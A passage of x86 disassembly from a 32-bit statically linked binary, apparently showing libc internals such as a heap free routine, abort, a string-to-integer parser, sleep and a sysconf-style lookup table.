804d66c: a1 40 f2 04 08 mov 0x804f240,%eax | |
804d671: 83 c4 10 add $0x10,%esp | |
804d674: 8b 51 04 mov 0x4(%ecx),%edx | |
804d677: 89 d3 mov %edx,%ebx | |
804d679: 83 e3 fc and $0xfffffffc,%ebx | |
804d67c: 39 c3 cmp %eax,%ebx | |
804d67e: 77 20 ja 0x804d6a0 | |
804d680: c1 eb 03 shr $0x3,%ebx | |
804d683: 83 c8 03 or $0x3,%eax | |
804d686: a3 40 f2 04 08 mov %eax,0x804f240 | |
804d68b: 8d 14 9d 40 f2 04 08 lea 0x804f240(,%ebx,4),%edx | |
804d692: 8b 42 fc mov -0x4(%edx),%eax | |
804d695: 89 41 08 mov %eax,0x8(%ecx) | |
804d698: 89 4a fc mov %ecx,-0x4(%edx) | |
804d69b: e9 18 01 00 00 jmp 0x804d7b8 | |
804d6a0: 80 e2 02 and $0x2,%dl | |
804d6a3: 0f 85 ef 00 00 00 jne 0x804d798 | |
804d6a9: 83 c8 01 or $0x1,%eax | |
804d6ac: 8d 34 19 lea (%ecx,%ebx,1),%esi | |
804d6af: a3 40 f2 04 08 mov %eax,0x804f240 | |
804d6b4: 8b 46 04 mov 0x4(%esi),%eax | |
804d6b7: 89 44 24 08 mov %eax,0x8(%esp) | |
804d6bb: f6 41 04 01 testb $0x1,0x4(%ecx) | |
804d6bf: 75 21 jne 0x804d6e2 | |
804d6c1: 8b 6f f8 mov -0x8(%edi),%ebp | |
804d6c4: 89 c8 mov %ecx,%eax | |
804d6c6: 29 e8 sub %ebp,%eax | |
804d6c8: 8b 78 08 mov 0x8(%eax),%edi | |
804d6cb: 8b 50 0c mov 0xc(%eax),%edx | |
804d6ce: 8b 4f 0c mov 0xc(%edi),%ecx | |
804d6d1: 39 c1 cmp %eax,%ecx | |
804d6d3: 75 3c jne 0x804d711 | |
804d6d5: 39 4a 08 cmp %ecx,0x8(%edx) | |
804d6d8: 75 37 jne 0x804d711 | |
804d6da: 01 eb add %ebp,%ebx | |
804d6dc: 89 57 0c mov %edx,0xc(%edi) | |
804d6df: 89 7a 08 mov %edi,0x8(%edx) | |
804d6e2: 8b 6c 24 08 mov 0x8(%esp),%ebp | |
804d6e6: 83 e5 fc and $0xfffffffc,%ebp | |
804d6e9: 3b 35 6c f2 04 08 cmp 0x804f26c,%esi | |
804d6ef: 74 52 je 0x804d743 | |
804d6f1: 8b 44 2e 04 mov 0x4(%esi,%ebp,1),%eax | |
804d6f5: 89 6e 04 mov %ebp,0x4(%esi) | |
804d6f8: 83 e0 01 and $0x1,%eax | |
804d6fb: 85 c0 test %eax,%eax | |
804d6fd: 75 1f jne 0x804d71e | |
804d6ff: 8b 56 08 mov 0x8(%esi),%edx | |
804d702: 8b 46 0c mov 0xc(%esi),%eax | |
804d705: 8b 7a 0c mov 0xc(%edx),%edi | |
804d708: 39 f7 cmp %esi,%edi | |
804d70a: 75 05 jne 0x804d711 | |
804d70c: 39 78 08 cmp %edi,0x8(%eax) | |
804d70f: 74 05 je 0x804d716 | |
804d711: e8 bb 00 00 00 call 0x804d7d1 | |
804d716: 89 42 0c mov %eax,0xc(%edx) | |
804d719: 89 50 08 mov %edx,0x8(%eax) | |
804d71c: 01 eb add %ebp,%ebx | |
804d71e: a1 7c f2 04 08 mov 0x804f27c,%eax | |
804d723: c7 41 0c 74 f2 04 08 movl $0x804f274,0xc(%ecx) | |
804d72a: 89 41 08 mov %eax,0x8(%ecx) | |
804d72d: 89 1c 19 mov %ebx,(%ecx,%ebx,1) | |
804d730: 89 48 0c mov %ecx,0xc(%eax) | |
804d733: 89 d8 mov %ebx,%eax | |
804d735: 83 c8 01 or $0x1,%eax | |
804d738: 89 0d 7c f2 04 08 mov %ecx,0x804f27c | |
804d73e: 89 41 04 mov %eax,0x4(%ecx) | |
804d741: eb 10 jmp 0x804d753 | |
804d743: 01 eb add %ebp,%ebx | |
804d745: 89 d8 mov %ebx,%eax | |
804d747: 83 c8 01 or $0x1,%eax | |
804d74a: 89 41 04 mov %eax,0x4(%ecx) | |
804d74d: 89 0d 6c f2 04 08 mov %ecx,0x804f26c | |
804d753: 81 fb ff ff 01 00 cmp $0x1ffff,%ebx | |
804d759: 76 5d jbe 0x804d7b8 | |
804d75b: f6 05 40 f2 04 08 02 testb $0x2,0x804f240 | |
804d762: 74 10 je 0x804d774 | |
804d764: 83 ec 0c sub $0xc,%esp | |
804d767: 68 40 f2 04 08 push $0x804f240 | |
804d76c: e8 1c fd ff ff call 0x804d48d | |
804d771: 83 c4 10 add $0x10,%esp | |
804d774: a1 6c f2 04 08 mov 0x804f26c,%eax | |
804d779: 8b 40 04 mov 0x4(%eax),%eax | |
804d77c: 83 e0 fc and $0xfffffffc,%eax | |
804d77f: 3b 05 84 f5 04 08 cmp 0x804f584,%eax | |
804d785: 72 31 jb 0x804d7b8 | |
804d787: ba 40 f2 04 08 mov $0x804f240,%edx | |
804d78c: a1 88 f5 04 08 mov 0x804f588,%eax | |
804d791: e8 6a fc ff ff call 0x804d400 | |
804d796: eb 20 jmp 0x804d7b8 | |
804d798: 8b 57 f8 mov -0x8(%edi),%edx | |
804d79b: ff 0d 90 f5 04 08 decl 0x804f590 | |
804d7a1: 8d 04 13 lea (%ebx,%edx,1),%eax | |
804d7a4: 29 d1 sub %edx,%ecx | |
804d7a6: 53 push %ebx | |
804d7a7: 53 push %ebx | |
804d7a8: 50 push %eax | |
804d7a9: 51 push %ecx | |
804d7aa: 29 05 a4 f5 04 08 sub %eax,0x804f5a4 | |
804d7b0: e8 4c 0d 00 00 call 0x804e501 | |
804d7b5: 83 c4 10 add $0x10,%esp | |
804d7b8: 50 push %eax | |
804d7b9: 50 push %eax | |
804d7ba: 6a 01 push $0x1 | |
804d7bc: 8d 44 24 18 lea 0x18(%esp),%eax | |
804d7c0: 50 push %eax | |
804d7c1: e8 d6 05 00 00 call 0x804dd9c | |
804d7c6: 83 c4 10 add $0x10,%esp | |
804d7c9: 83 c4 1c add $0x1c,%esp | |
804d7cc: 5b pop %ebx | |
804d7cd: 5e pop %esi | |
804d7ce: 5f pop %edi | |
804d7cf: 5d pop %ebp | |
804d7d0: c3 ret | |
804d7d1: 53 push %ebx | |
804d7d2: 81 ec 24 01 00 00 sub $0x124,%esp | |
804d7d8: 68 50 f0 04 08 push $0x804f050 | |
804d7dd: e8 b7 05 00 00 call 0x804dd99 | |
804d7e2: b8 20 00 00 00 mov $0x20,%eax | |
804d7e7: 83 c4 10 add $0x10,%esp | |
804d7ea: eb 0b jmp 0x804d7f7 | |
804d7ec: c7 84 84 98 00 00 00 movl $0x0,0x98(%esp,%eax,4) | |
804d7f3: 00 00 00 00 | |
804d7f7: 48 dec %eax | |
804d7f8: 79 f2 jns 0x804d7ec | |
804d7fa: 53 push %ebx | |
804d7fb: 53 push %ebx | |
804d7fc: 6a 06 push $0x6 | |
804d7fe: 8d 9c 24 a4 00 00 00 lea 0xa4(%esp),%ebx | |
804d805: 53 push %ebx | |
804d806: e8 9f 0f 00 00 call 0x804e7aa | |
804d80b: 83 c4 10 add $0x10,%esp | |
804d80e: 85 c0 test %eax,%eax | |
804d810: 75 0e jne 0x804d820 | |
804d812: 51 push %ecx | |
804d813: 6a 00 push $0x0 | |
804d815: 53 push %ebx | |
804d816: 6a 01 push $0x1 | |
804d818: e8 96 0d 00 00 call 0x804e5b3 | |
804d81d: 83 c4 10 add $0x10,%esp | |
804d820: 80 3d e0 f0 04 08 00 cmpb $0x0,0x804f0e0 | |
804d827: 75 2f jne 0x804d858 | |
804d829: c6 05 e0 f0 04 08 01 movb $0x1,0x804f0e0 | |
804d830: 83 ec 0c sub $0xc,%esp | |
804d833: 68 50 f0 04 08 push $0x804f050 | |
804d838: e8 5c 05 00 00 call 0x804dd99 | |
804d83d: c7 04 24 06 00 00 00 movl $0x6,(%esp) | |
804d844: e8 25 0f 00 00 call 0x804e76e | |
804d849: c7 04 24 50 f0 04 08 movl $0x804f050,(%esp) | |
804d850: e8 44 05 00 00 call 0x804dd99 | |
804d855: 83 c4 10 add $0x10,%esp | |
804d858: a0 e0 f0 04 08 mov 0x804f0e0,%al | |
804d85d: 3c 01 cmp $0x1,%al | |
804d85f: 75 58 jne 0x804d8b9 | |
804d861: 52 push %edx | |
804d862: 68 8c 00 00 00 push $0x8c | |
804d867: 6a 00 push $0x0 | |
804d869: c6 05 e0 f0 04 08 02 movb $0x2,0x804f0e0 | |
804d870: 8d 44 24 18 lea 0x18(%esp),%eax | |
804d874: 50 push %eax | |
804d875: e8 8d ed ff ff call 0x804c607 | |
804d87a: c7 44 24 1c 00 00 00 movl $0x0,0x1c(%esp) | |
804d881: 00 | |
804d882: b8 20 00 00 00 mov $0x20,%eax | |
804d887: 83 c4 10 add $0x10,%esp | |
804d88a: eb 08 jmp 0x804d894 | |
804d88c: c7 44 84 10 ff ff ff movl $0xffffffff,0x10(%esp,%eax,4) | |
804d893: ff | |
804d894: 48 dec %eax | |
804d895: 79 f5 jns 0x804d88c | |
804d897: c7 84 24 90 00 00 00 movl $0x0,0x90(%esp) | |
804d89e: 00 00 00 00 | |
804d8a2: 50 push %eax | |
804d8a3: 6a 00 push $0x0 | |
804d8a5: 8d 44 24 14 lea 0x14(%esp),%eax | |
804d8a9: 50 push %eax | |
804d8aa: 6a 06 push $0x6 | |
804d8ac: e8 2a 07 00 00 call 0x804dfdb | |
804d8b1: 83 c4 10 add $0x10,%esp | |
804d8b4: e9 77 ff ff ff jmp 0x804d830 | |
804d8b9: 3c 02 cmp $0x2,%al | |
804d8bb: 75 08 jne 0x804d8c5 | |
804d8bd: c6 05 e0 f0 04 08 03 movb $0x3,0x804f0e0 | |
804d8c4: f4 hlt | |
804d8c5: 80 3d e0 f0 04 08 03 cmpb $0x3,0x804f0e0 | |
804d8cc: 75 11 jne 0x804d8df | |
804d8ce: 83 ec 0c sub $0xc,%esp | |
804d8d1: c6 05 e0 f0 04 08 04 movb $0x4,0x804f0e0 | |
804d8d8: 6a 7f push $0x7f | |
804d8da: e8 5d 08 00 00 call 0x804e13c | |
804d8df: f4 hlt | |
804d8e0: eb fd jmp 0x804d8df | |
804d8e2: 83 ec 10 sub $0x10,%esp | |
804d8e5: 6a 0a push $0xa | |
804d8e7: 6a 00 push $0x0 | |
804d8e9: ff 74 24 1c pushl 0x1c(%esp) | |
804d8ed: e8 04 00 00 00 call 0x804d8f6 | |
804d8f2: 83 c4 1c add $0x1c,%esp | |
804d8f5: c3 ret | |
804d8f6: 83 ec 0c sub $0xc,%esp | |
804d8f9: 6a 01 push $0x1 | |
804d8fb: ff 74 24 1c pushl 0x1c(%esp) | |
804d8ff: ff 74 24 1c pushl 0x1c(%esp) | |
804d903: ff 74 24 1c pushl 0x1c(%esp) | |
804d907: e8 04 00 00 00 call 0x804d910 | |
804d90c: 83 c4 1c add $0x1c,%esp | |
804d90f: c3 ret | |
804d910: 55 push %ebp | |
804d911: 57 push %edi | |
804d912: 56 push %esi | |
804d913: 53 push %ebx | |
804d914: 83 ec 0c sub $0xc,%esp | |
804d917: 8b 15 84 f0 04 08 mov 0x804f084,%edx | |
804d91d: 8b 4c 24 20 mov 0x20(%esp),%ecx | |
804d921: 8b 74 24 28 mov 0x28(%esp),%esi | |
804d925: 89 cb mov %ecx,%ebx | |
804d927: eb 01 jmp 0x804d92a | |
804d929: 43 inc %ebx | |
804d92a: 0f be 03 movsbl (%ebx),%eax | |
804d92d: f6 04 42 20 testb $0x20,(%edx,%eax,2) | |
804d931: 75 f6 jne 0x804d929 | |
804d933: 83 f8 2b cmp $0x2b,%eax | |
804d936: 74 0e je 0x804d946 | |
804d938: 31 ed xor %ebp,%ebp | |
804d93a: 83 f8 2d cmp $0x2d,%eax | |
804d93d: 75 0a jne 0x804d949 | |
804d93f: bd 01 00 00 00 mov $0x1,%ebp | |
804d944: eb 02 jmp 0x804d948 | |
804d946: 31 ed xor %ebp,%ebp | |
804d948: 43 inc %ebx | |
804d949: 89 cf mov %ecx,%edi | |
804d94b: f7 c6 ef ff ff ff test $0xffffffef,%esi | |
804d951: 75 24 jne 0x804d977 | |
804d953: 83 c6 0a add $0xa,%esi | |
804d956: 80 3b 30 cmpb $0x30,(%ebx) | |
804d959: 75 12 jne 0x804d96d | |
804d95b: 43 inc %ebx | |
804d95c: 83 ee 02 sub $0x2,%esi | |
804d95f: 89 df mov %ebx,%edi | |
804d961: 8a 03 mov (%ebx),%al | |
804d963: 83 c8 20 or $0x20,%eax | |
804d966: 3c 78 cmp $0x78,%al | |
804d968: 75 03 jne 0x804d96d | |
804d96a: 01 f6 add %esi,%esi | |
804d96c: 43 inc %ebx | |
804d96d: 83 fe 10 cmp $0x10,%esi | |
804d970: 7e 05 jle 0x804d977 | |
804d972: be 10 00 00 00 mov $0x10,%esi | |
804d977: 8d 46 fe lea -0x2(%esi),%eax | |
804d97a: 31 d2 xor %edx,%edx | |
804d97c: 83 f8 22 cmp $0x22,%eax | |
804d97f: 77 61 ja 0x804d9e2 | |
804d981: 83 c8 ff or $0xffffffff,%eax | |
804d984: 31 d2 xor %edx,%edx | |
804d986: f7 f6 div %esi | |
804d988: 88 54 24 0b mov %dl,0xb(%esp) | |
804d98c: 31 d2 xor %edx,%edx | |
804d98e: 89 44 24 04 mov %eax,0x4(%esp) | |
804d992: eb 02 jmp 0x804d996 | |
804d994: 89 df mov %ebx,%edi | |
804d996: 8a 03 mov (%ebx),%al | |
804d998: 8d 48 d0 lea -0x30(%eax),%ecx | |
804d99b: 80 f9 09 cmp $0x9,%cl | |
804d99e: 76 0c jbe 0x804d9ac | |
804d9a0: 83 c8 20 or $0x20,%eax | |
804d9a3: b1 28 mov $0x28,%cl | |
804d9a5: 3c 60 cmp $0x60,%al | |
804d9a7: 76 03 jbe 0x804d9ac | |
804d9a9: 8d 48 a9 lea -0x57(%eax),%ecx | |
804d9ac: 0f b6 c1 movzbl %cl,%eax | |
804d9af: 39 f0 cmp %esi,%eax | |
804d9b1: 7d 2f jge 0x804d9e2 | |
804d9b3: 43 inc %ebx | |
804d9b4: 3b 54 24 04 cmp 0x4(%esp),%edx | |
804d9b8: 77 08 ja 0x804d9c2 | |
804d9ba: 75 1c jne 0x804d9d8 | |
804d9bc: 3a 4c 24 0b cmp 0xb(%esp),%cl | |
804d9c0: 76 16 jbe 0x804d9d8 | |
804d9c2: 8a 44 24 2c mov 0x2c(%esp),%al | |
804d9c6: 21 c5 and %eax,%ebp | |
804d9c8: e8 e9 eb ff ff call 0x804c5b6 | |
804d9cd: 83 ca ff or $0xffffffff,%edx | |
804d9d0: c7 00 22 00 00 00 movl $0x22,(%eax) | |
804d9d6: eb bc jmp 0x804d994 | |
804d9d8: 0f af d6 imul %esi,%edx | |
804d9db: 0f b6 c1 movzbl %cl,%eax | |
804d9de: 01 c2 add %eax,%edx | |
804d9e0: eb b2 jmp 0x804d994 | |
804d9e2: 83 7c 24 24 00 cmpl $0x0,0x24(%esp) | |
804d9e7: 74 06 je 0x804d9ef | |
804d9e9: 8b 44 24 24 mov 0x24(%esp),%eax | |
804d9ed: 89 38 mov %edi,(%eax) | |
804d9ef: 89 e8 mov %ebp,%eax | |
804d9f1: 3c 01 cmp $0x1,%al | |
804d9f3: 19 db sbb %ebx,%ebx | |
804d9f5: 81 eb 00 00 00 80 sub $0x80000000,%ebx | |
804d9fb: 83 7c 24 2c 00 cmpl $0x0,0x2c(%esp) | |
804da00: 74 11 je 0x804da13 | |
804da02: 39 da cmp %ebx,%edx | |
804da04: 76 0d jbe 0x804da13 | |
804da06: e8 ab eb ff ff call 0x804c5b6 | |
804da0b: 89 da mov %ebx,%edx | |
804da0d: c7 00 22 00 00 00 movl $0x22,(%eax) | |
804da13: 89 e8 mov %ebp,%eax | |
804da15: 84 c0 test %al,%al | |
804da17: 74 02 je 0x804da1b | |
804da19: f7 da neg %edx | |
804da1b: 83 c4 0c add $0xc,%esp | |
804da1e: 89 d0 mov %edx,%eax | |
804da20: 5b pop %ebx | |
804da21: 5e pop %esi | |
804da22: 5f pop %edi | |
804da23: 5d pop %ebp | |
804da24: c3 ret | |
804da25: 56 push %esi | |
804da26: 53 push %ebx | |
804da27: 83 ec 18 sub $0x18,%esp | |
804da2a: 8b 74 24 24 mov 0x24(%esp),%esi | |
804da2e: 68 68 f0 04 08 push $0x804f068 | |
804da33: 68 99 dd 04 08 push $0x804dd99 | |
804da38: 8d 5c 24 10 lea 0x10(%esp),%ebx | |
804da3c: 53 push %ebx | |
804da3d: e8 5a 03 00 00 call 0x804dd9c | |
804da42: c7 04 24 68 f0 04 08 movl $0x804f068,(%esp) | |
804da49: e8 4b 03 00 00 call 0x804dd99 | |
804da4e: a1 e4 f0 04 08 mov 0x804f0e4,%eax | |
804da53: 83 c4 10 add $0x10,%esp | |
804da56: 85 c0 test %eax,%eax | |
804da58: 74 09 je 0x804da63 | |
804da5a: 83 ec 0c sub $0xc,%esp | |
804da5d: 56 push %esi | |
804da5e: ff d0 call *%eax | |
804da60: 83 c4 10 add $0x10,%esp | |
804da63: 50 push %eax | |
804da64: 50 push %eax | |
804da65: 6a 01 push $0x1 | |
804da67: 53 push %ebx | |
804da68: e8 2f 03 00 00 call 0x804dd9c | |
804da6d: e8 e8 02 00 00 call 0x804dd5a | |
804da72: b8 00 00 00 00 mov $0x0,%eax | |
804da77: 83 c4 10 add $0x10,%esp | |
804da7a: 85 c0 test %eax,%eax | |
804da7c: 74 05 je 0x804da83 | |
804da7e: e8 7d 25 fb f7 call 0x0 | |
804da83: 83 ec 0c sub $0xc,%esp | |
804da86: 56 push %esi | |
804da87: e8 b0 06 00 00 call 0x804e13c | |
804da8c: 55 push %ebp | |
804da8d: 57 push %edi | |
804da8e: 56 push %esi | |
804da8f: 53 push %ebx | |
804da90: 81 ec ac 01 00 00 sub $0x1ac,%esp | |
804da96: b8 20 00 00 00 mov $0x20,%eax | |
804da9b: 8b 94 24 c0 01 00 00 mov 0x1c0(%esp),%edx | |
804daa2: 85 d2 test %edx,%edx | |
804daa4: 75 10 jne 0x804dab6 | |
804daa6: e9 58 01 00 00 jmp 0x804dc03 | |
804daab: c7 84 84 24 01 00 00 movl $0x0,0x124(%esp,%eax,4) | |
804dab2: 00 00 00 00 | |
804dab6: 48 dec %eax | |
804dab7: 79 f2 jns 0x804daab | |
804dab9: c7 84 24 a8 01 00 00 movl $0x0,0x1a8(%esp) | |
804dac0: 00 00 00 00 | |
804dac4: 89 94 24 a4 01 00 00 mov %edx,0x1a4(%esp) | |
804dacb: 50 push %eax | |
804dacc: 50 push %eax | |
804dacd: 6a 11 push $0x11 | |
804dacf: 8d 9c 24 30 01 00 00 lea 0x130(%esp),%ebx | |
804dad6: 53 push %ebx | |
804dad7: e8 ce 0c 00 00 call 0x804e7aa | |
804dadc: 83 c4 10 add $0x10,%esp | |
804dadf: 85 c0 test %eax,%eax | |
804dae1: 0f 88 20 01 00 00 js 0x804dc07 | |
804dae7: 50 push %eax | |
804dae8: 8d b4 24 a8 00 00 00 lea 0xa8(%esp),%esi | |
804daef: 56 push %esi | |
804daf0: 53 push %ebx | |
804daf1: 6a 00 push $0x0 | |
804daf3: e8 bb 0a 00 00 call 0x804e5b3 | |
804daf8: 83 c4 10 add $0x10,%esp | |
804dafb: 85 c0 test %eax,%eax | |
804dafd: 0f 85 04 01 00 00 jne 0x804dc07 | |
804db03: 50 push %eax | |
804db04: 50 push %eax | |
804db05: 6a 11 push $0x11 | |
804db07: 56 push %esi | |
804db08: e8 79 0c 00 00 call 0x804e786 | |
804db0d: 83 c4 10 add $0x10,%esp | |
804db10: ba 20 00 00 00 mov $0x20,%edx | |
804db15: 85 c0 test %eax,%eax | |
804db17: 74 10 je 0x804db29 | |
804db19: e9 b3 00 00 00 jmp 0x804dbd1 | |
804db1e: c7 84 94 24 01 00 00 movl $0x0,0x124(%esp,%edx,4) | |
804db25: 00 00 00 00 | |
804db29: 4a dec %edx | |
804db2a: 79 f2 jns 0x804db1e | |
804db2c: 50 push %eax | |
804db2d: 50 push %eax | |
804db2e: 6a 11 push $0x11 | |
804db30: 8d 84 24 30 01 00 00 lea 0x130(%esp),%eax | |
804db37: 50 push %eax | |
804db38: e8 6d 0c 00 00 call 0x804e7aa | |
804db3d: 83 c4 10 add $0x10,%esp | |
804db40: 85 c0 test %eax,%eax | |
804db42: 0f 88 bf 00 00 00 js 0x804dc07 | |
804db48: 50 push %eax | |
804db49: 8d 44 24 1c lea 0x1c(%esp),%eax | |
804db4d: 50 push %eax | |
804db4e: 6a 00 push $0x0 | |
804db50: 6a 11 push $0x11 | |
804db52: e8 84 04 00 00 call 0x804dfdb | |
804db57: 83 c4 10 add $0x10,%esp | |
804db5a: 85 c0 test %eax,%eax | |
804db5c: 79 28 jns 0x804db86 | |
804db5e: e8 53 ea ff ff call 0x804c5b6 | |
804db63: 89 c3 mov %eax,%ebx | |
804db65: 8b 30 mov (%eax),%esi | |
804db67: 55 push %ebp | |
804db68: 6a 00 push $0x0 | |
804db6a: 8d 84 24 ac 00 00 00 lea 0xac(%esp),%eax | |
804db71: 50 push %eax | |
804db72: 6a 02 push $0x2 | |
804db74: e8 3a 0a 00 00 call 0x804e5b3 | |
804db79: 83 c8 ff or $0xffffffff,%eax | |
804db7c: 83 c4 10 add $0x10,%esp | |
804db7f: 89 33 mov %esi,(%ebx) | |
804db81: e9 84 00 00 00 jmp 0x804dc0a | |
804db86: 83 7c 24 18 01 cmpl $0x1,0x18(%esp) | |
804db8b: 8d ac 24 a4 00 00 00 lea 0xa4(%esp),%ebp | |
804db92: 8d 9c 24 a4 01 00 00 lea 0x1a4(%esp),%ebx | |
804db99: 75 25 jne 0x804dbc0 | |
804db9b: 57 push %edi | |
804db9c: 57 push %edi | |
804db9d: 53 push %ebx | |
804db9e: 53 push %ebx | |
804db9f: e8 8f 09 00 00 call 0x804e533 | |
804dba4: 89 c7 mov %eax,%edi | |
804dba6: e8 0b ea ff ff call 0x804c5b6 | |
804dbab: 83 c4 0c add $0xc,%esp | |
804dbae: 89 c3 mov %eax,%ebx | |
804dbb0: 8b 30 mov (%eax),%esi | |
804dbb2: 6a 00 push $0x0 | |
804dbb4: 55 push %ebp | |
804dbb5: 6a 02 push $0x2 | |
804dbb7: e8 f7 09 00 00 call 0x804e5b3 | |
804dbbc: 89 33 mov %esi,(%ebx) | |
804dbbe: eb 23 jmp 0x804dbe3 | |
804dbc0: 56 push %esi | |
804dbc1: 6a 00 push $0x0 | |
804dbc3: 55 push %ebp | |
804dbc4: 6a 02 push $0x2 | |
804dbc6: e8 e8 09 00 00 call 0x804e5b3 | |
804dbcb: 5a pop %edx | |
804dbcc: 59 pop %ecx | |
804dbcd: 53 push %ebx | |
804dbce: 53 push %ebx | |
804dbcf: eb 0b jmp 0x804dbdc | |
804dbd1: 50 push %eax | |
804dbd2: 50 push %eax | |
804dbd3: 8d 84 24 ac 01 00 00 lea 0x1ac(%esp),%eax | |
804dbda: 50 push %eax | |
804dbdb: 50 push %eax | |
804dbdc: e8 52 09 00 00 call 0x804e533 | |
804dbe1: 89 c7 mov %eax,%edi | |
804dbe3: 83 c4 10 add $0x10,%esp | |
804dbe6: 85 ff test %edi,%edi | |
804dbe8: 74 19 je 0x804dc03 | |
804dbea: 31 c0 xor %eax,%eax | |
804dbec: 81 bc 24 a8 01 00 00 cmpl $0x1dcd64ff,0x1a8(%esp) | |
804dbf3: ff 64 cd 1d | |
804dbf7: 0f 9f c0 setg %al | |
804dbfa: 03 84 24 a4 01 00 00 add 0x1a4(%esp),%eax | |
804dc01: eb 07 jmp 0x804dc0a | |
804dc03: 31 c0 xor %eax,%eax | |
804dc05: eb 03 jmp 0x804dc0a | |
804dc07: 83 c8 ff or $0xffffffff,%eax | |
804dc0a: 81 c4 ac 01 00 00 add $0x1ac,%esp | |
804dc10: 5b pop %ebx | |
804dc11: 5e pop %esi | |
804dc12: 5f pop %edi | |
804dc13: 5d pop %ebp | |
804dc14: c3 ret | |
804dc15: 83 ec 0c sub $0xc,%esp | |
804dc18: 8b 44 24 10 mov 0x10(%esp),%eax | |
804dc1c: 3d 95 00 00 00 cmp $0x95,%eax | |
804dc21: 77 11 ja 0x804dc34 | |
804dc23: ff 24 85 0c ea 04 08 jmp *0x804ea0c(,%eax,4) | |
804dc2a: b8 01 00 00 00 mov $0x1,%eax | |
804dc2f: e9 22 01 00 00 jmp 0x804dd56 | |
804dc34: e8 7d e9 ff ff call 0x804c5b6 | |
804dc39: c7 00 16 00 00 00 movl $0x16,(%eax) | |
804dc3f: e9 e5 00 00 00 jmp 0x804dd29 | |
804dc44: b8 00 00 02 00 mov $0x20000,%eax | |
804dc49: e9 08 01 00 00 jmp 0x804dd56 | |
804dc4e: b8 64 00 00 00 mov $0x64,%eax | |
804dc53: e9 fe 00 00 00 jmp 0x804dd56 | |
804dc58: b8 00 00 01 00 mov $0x10000,%eax | |
804dc5d: e9 f4 00 00 00 jmp 0x804dd56 | |
804dc62: 83 c4 0c add $0xc,%esp | |
804dc65: e9 f7 06 00 00 jmp 0x804e361 | |
804dc6a: b8 06 00 00 00 mov $0x6,%eax | |
804dc6f: e9 e2 00 00 00 jmp 0x804dd56 | |
804dc74: 83 c4 0c add $0xc,%esp | |
804dc77: e9 7c 07 00 00 jmp 0x804e3f8 | |
804dc7c: b8 00 80 00 00 mov $0x8000,%eax | |
804dc81: e9 d0 00 00 00 jmp 0x804dd56 | |
804dc86: b8 e8 03 00 00 mov $0x3e8,%eax | |
804dc8b: e9 c6 00 00 00 jmp 0x804dd56 | |
804dc90: b8 00 40 00 00 mov $0x4000,%eax | |
804dc95: e9 bc 00 00 00 jmp 0x804dd56 | |
804dc9a: b8 00 10 00 00 mov $0x1000,%eax | |
804dc9f: e9 b2 00 00 00 jmp 0x804dd56 | |
804dca4: b8 f4 01 00 00 mov $0x1f4,%eax | |
804dca9: e9 a8 00 00 00 jmp 0x804dd56 | |
804dcae: b8 08 00 00 00 mov $0x8,%eax | |
804dcb3: e9 9e 00 00 00 jmp 0x804dd56 | |
804dcb8: b8 00 00 00 80 mov $0x80000000,%eax | |
804dcbd: e9 94 00 00 00 jmp 0x804dd56 | |
804dcc2: b8 00 80 ff ff mov $0xffff8000,%eax | |
804dcc7: e9 8a 00 00 00 jmp 0x804dd56 | |
804dccc: b8 ff ff 00 00 mov $0xffff,%eax | |
804dcd1: e9 80 00 00 00 jmp 0x804dd56 | |
804dcd6: b8 09 00 00 00 mov $0x9,%eax | |
804dcdb: eb 79 jmp 0x804dd56 | |
804dcdd: 50 push %eax | |
804dcde: 50 push %eax | |
804dcdf: 6a 00 push $0x0 | |
804dce1: 6a 01 push $0x1 | |
804dce3: e8 7c 04 00 00 call 0x804e164 | |
804dce8: 83 c4 10 add $0x10,%esp | |
804dceb: 85 c0 test %eax,%eax | |
804dced: 79 10 jns 0x804dcff | |
804dcef: eb 38 jmp 0x804dd29 | |
804dcf1: b8 7f 00 00 00 mov $0x7f,%eax | |
804dcf6: eb 5e jmp 0x804dd56 | |
804dcf8: b8 10 00 00 00 mov $0x10,%eax | |
804dcfd: eb 57 jmp 0x804dd56 | |
804dcff: b8 b0 0d 03 00 mov $0x30db0,%eax | |
804dd04: eb 50 jmp 0x804dd56 | |
804dd06: b8 ff ff ff 7f mov $0x7fffffff,%eax | |
804dd0b: eb 49 jmp 0x804dd56 | |
804dd0d: b8 00 01 00 00 mov $0x100,%eax | |
804dd12: eb 42 jmp 0x804dd56 | |
804dd14: b8 20 00 00 00 mov $0x20,%eax | |
804dd19: eb 3b jmp 0x804dd56 | |
804dd1b: b8 04 00 00 00 mov $0x4,%eax | |
804dd20: eb 34 jmp 0x804dd56 | |
804dd22: b8 00 04 00 00 mov $0x400,%eax | |
804dd27: eb 2d jmp 0x804dd56 | |
804dd29: 83 c8 ff or $0xffffffff,%eax | |
804dd2c: eb 28 jmp 0x804dd56 | |
804dd2e: b8 80 ff ff ff mov $0xffffff80,%eax | |
804dd33: eb 21 jmp 0x804dd56 | |
804dd35: b8 14 00 00 00 mov $0x14,%eax | |
804dd3a: eb 1a jmp 0x804dd56 | |
804dd3c: b8 63 00 00 00 mov $0x63,%eax | |
804dd41: eb 13 jmp 0x804dd56 | |
804dd43: b8 00 08 00 00 mov $0x800,%eax | |
804dd48: eb 0c jmp 0x804dd56 | |
804dd4a: b8 ff 00 00 00 mov $0xff,%eax | |
804dd4f: eb 05 jmp 0x804dd56 | |
804dd51: b8 ff 7f 00 00 mov $0x7fff,%eax | |
804dd56: 83 c4 0c add $0xc,%esp | |
804dd59: c3 ret | |
804dd5a: 53 push %ebx | |
804dd5b: bb 00 f0 04 08 mov $0x804f000,%ebx | |
804dd60: 81 eb 00 f0 04 08 sub $0x804f000,%ebx | |
804dd66: 83 ec 08 sub $0x8,%esp | |
804dd69: c1 fb 02 sar $0x2,%ebx | |
804dd6c: eb 07 jmp 0x804dd75 | |
804dd6e: ff 14 9d 00 f0 04 08 call *0x804f000(,%ebx,4) | |
804dd75: 4b dec %ebx | |
804dd76: 83 fb ff cmp $0xffffffff,%ebx | |
804dd79: 75 f3 jne 0x804dd6e | |
804dd7b: a1 f4 f0 04 08 mov 0x804f0f4,%eax | |
804dd80: 85 c0 test %eax,%eax | |
804dd82: 74 02 je 0x804dd86 | |
804dd84: ff d0 call *%eax | |
804dd86: 8b 0d f8 f0 04 08 mov 0x804f0f8,%ecx | |
804dd8c: 85 c9 test %ecx,%ecx | |
804dd8e: 74 05 je 0x804dd95 | |
804dd90: 5b pop %ebx | |
804dd91: 58 pop %eax | |
804dd92: 5b pop %ebx | |
804dd93: ff e1 jmp *%ecx | |
804dd95: 58 pop %eax | |
804dd96: 5a pop %edx | |
804dd97: 5b pop %ebx | |
804dd98: c3 ret | |
